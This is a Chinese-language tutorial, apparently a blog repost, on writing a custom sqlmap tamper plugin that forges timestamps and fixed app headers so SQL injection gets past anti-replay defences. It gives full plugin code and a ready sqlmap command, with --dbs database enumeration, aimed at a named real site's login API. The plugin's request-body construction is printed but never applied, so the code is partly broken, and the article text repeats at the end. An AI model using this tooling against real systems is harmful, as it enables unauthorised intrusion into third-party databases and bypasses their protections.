自定义Sqlmap Tamper插件绕过时间戳限制,对目标进行SQL注入
字数 1218 2025-08-29 08:32:30

自定义Sqlmap Tamper插件绕过时间戳限制的SQL注入教学

1. 背景知识

在渗透测试中,时间戳(timestamp)机制常被用于防范Burpsuite等工具的抓包重放攻击。这种防御机制会给自动化工具如Sqlmap带来挑战,因为每次请求都需要包含一个有效的时间戳。

2. 时间戳生成原理

时间戳通常是通过获取当前时间并转换为特定格式生成的。以下是Python生成时间戳的示例代码:

#!/user/bin/env python
#coding=utf8
import time

t = time.time()
timestamp = int(round(t * 1000))  # 获取当前时间戳(毫秒级)
timestamp = str(timestamp)
print timestamp

3. Sqlmap Tamper插件机制

Sqlmap的Tamper插件允许我们在发送请求前修改payload或添加/修改HTTP头。这是绕过各种WAF(Web应用防火墙)的有效方法。

3.1 示例插件:xforwardedfor.py

这是一个内置的Tamper插件示例,用于添加随机的X-Forwarded-For头:

#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
from random import sample

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomIP():
    numbers = []
    while not numbers or numbers[0] in (10, 172, 192):
        numbers = sample(xrange(1, 255), 4)
    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For' to bypass WAF protection
    """
    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    return payload

4. 自定义Tamper插件绕过时间戳限制

4.1 插件功能

创建一个名为replacehead.py的Tamper插件,用于:

  1. 自动生成有效的时间戳
  2. 添加必要的HTTP头
  3. 构造合法的请求体

4.2 完整插件代码

#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file "doc/COPYING" for copying permission
"""

import hashlib
import json
import ssl
import sys
import time, urllib, string
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Append HTTP headers and timestamp to bypass WAF Protection
    """
    reqBind = "/openapi/v2/user/login"
    headers = kwargs.get("headers", {})
    
    # 设置固定HTTP头
    headers["Connection"] = "keep-alive"
    headers["appId"] = "MB-MJ-0000"
    headers["appVersion"] = "01.00.00.00000"
    headers["clientId"] = "8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
    headers["sequenceId"] = "20161020153428000015"
    headers["accessToken"] = ""
    headers["language"] = "zh-cn"
    headers["timezone"] = "+8"
    headers["appKey"] = "1fff7639ddc580d9cdfb16bde1d67249"
    
    # 构造请求体,将payload插入到loginId字段
    data = "{ \"loginId\": \"" + payload + "\", \"password\": \"12345\" }"
    print data
    
    # 生成当前时间戳
    t = time.time()
    timestamp = int(round(t * 1000))
    timestamp = str(timestamp)
    headers["timestamp"] = str(timestamp)
    
    print headers
    return payload

4.3 关键点解析

  1. headers处理:通过kwargs.get("headers", {})获取当前请求头,并添加/修改需要的头信息
  2. 时间戳生成:使用time.time()获取当前时间,转换为毫秒级时间戳
  3. payload构造:将SQL注入payload插入到请求体的特定位置(本例中是loginId字段)
  4. 固定值设置:根据目标系统要求设置固定的HTTP头值

5. 使用方法

  1. 将插件保存到Sqlmap的tamper目录(如D:\sqlmap2016\tamper\replacehead.py
  2. 使用以下命令运行:
cd d:\sqlmap2016
python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" \
--data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" \
--tamper "replacehead" \
--dbms="mysql" \
-v 5 \
--dbs \
--proxy=http://127.0.0.1:8080

参数说明:

  • -u: 目标URL
  • --data: POST请求体
  • --tamper: 指定使用的Tamper插件
  • --dbms: 指定数据库类型
  • -v: 详细输出级别
  • --dbs: 枚举数据库
  • --proxy: 使用代理(如Burpsuite)

6. 实际应用中的注意事项

  1. 目标系统分析:需要先分析目标系统的请求结构,确定哪些头是必需的
  2. 时间戳精度:确认目标系统使用的时间戳是秒级还是毫秒级
  3. 签名机制:如果目标系统除了时间戳还有签名机制,需要额外处理
  4. 动态值:有些系统可能需要其他动态值(如nonce),需要相应修改插件
  5. 错误处理:添加适当的错误处理机制,确保插件稳定性

7. 扩展思路

  1. 自动签名:如果目标系统使用签名机制,可以在插件中添加签名计算逻辑
  2. 会话保持:处理需要维持会话的场景,自动管理cookies或token
  3. 动态参数:从服务器响应中提取必要参数用于后续请求
  4. 多步骤攻击:实现复杂的多步骤注入流程

通过这种自定义Tamper插件的方法,可以有效地绕过时间戳等动态防御机制,使Sqlmap等工具能够在有防护的环境下正常工作。

自定义Sqlmap Tamper插件绕过时间戳限制的SQL注入教学 1. 背景知识 在渗透测试中,时间戳(timestamp)机制常被用于防范Burpsuite等工具的抓包重放攻击。这种防御机制会给自动化工具如Sqlmap带来挑战,因为每次请求都需要包含一个有效的时间戳。 2. 时间戳生成原理 时间戳通常是通过获取当前时间并转换为特定格式生成的。以下是Python生成时间戳的示例代码: 3. Sqlmap Tamper插件机制 Sqlmap的Tamper插件允许我们在发送请求前修改payload或添加/修改HTTP头。这是绕过各种WAF(Web应用防火墙)的有效方法。 3.1 示例插件:xforwardedfor.py 这是一个内置的Tamper插件示例,用于添加随机的X-Forwarded-For头: 4. 自定义Tamper插件绕过时间戳限制 4.1 插件功能 创建一个名为 replacehead.py 的Tamper插件,用于: 自动生成有效的时间戳 添加必要的HTTP头 构造合法的请求体 4.2 完整插件代码 4.3 关键点解析 headers处理 :通过 kwargs.get("headers", {}) 获取当前请求头,并添加/修改需要的头信息 时间戳生成 :使用 time.time() 获取当前时间,转换为毫秒级时间戳 payload构造 :将SQL注入payload插入到请求体的特定位置(本例中是loginId字段) 固定值设置 :根据目标系统要求设置固定的HTTP头值 5. 使用方法 将插件保存到Sqlmap的tamper目录(如 D:\sqlmap2016\tamper\replacehead.py ) 使用以下命令运行: 参数说明: -u : 目标URL --data : POST请求体 --tamper : 指定使用的Tamper插件 --dbms : 指定数据库类型 -v : 详细输出级别 --dbs : 枚举数据库 --proxy : 使用代理(如Burpsuite) 6. 实际应用中的注意事项 目标系统分析 :需要先分析目标系统的请求结构,确定哪些头是必需的 时间戳精度 :确认目标系统使用的时间戳是秒级还是毫秒级 签名机制 :如果目标系统除了时间戳还有签名机制,需要额外处理 动态值 :有些系统可能需要其他动态值(如nonce),需要相应修改插件 错误处理 :添加适当的错误处理机制,确保插件稳定性 7. 扩展思路 自动签名 :如果目标系统使用签名机制,可以在插件中添加签名计算逻辑 会话保持 :处理需要维持会话的场景,自动管理cookies或token 动态参数 :从服务器响应中提取必要参数用于后续请求 多步骤攻击 :实现复杂的多步骤注入流程 通过这种自定义Tamper插件的方法,可以有效地绕过时间戳等动态防御机制,使Sqlmap等工具能够在有防护的环境下正常工作。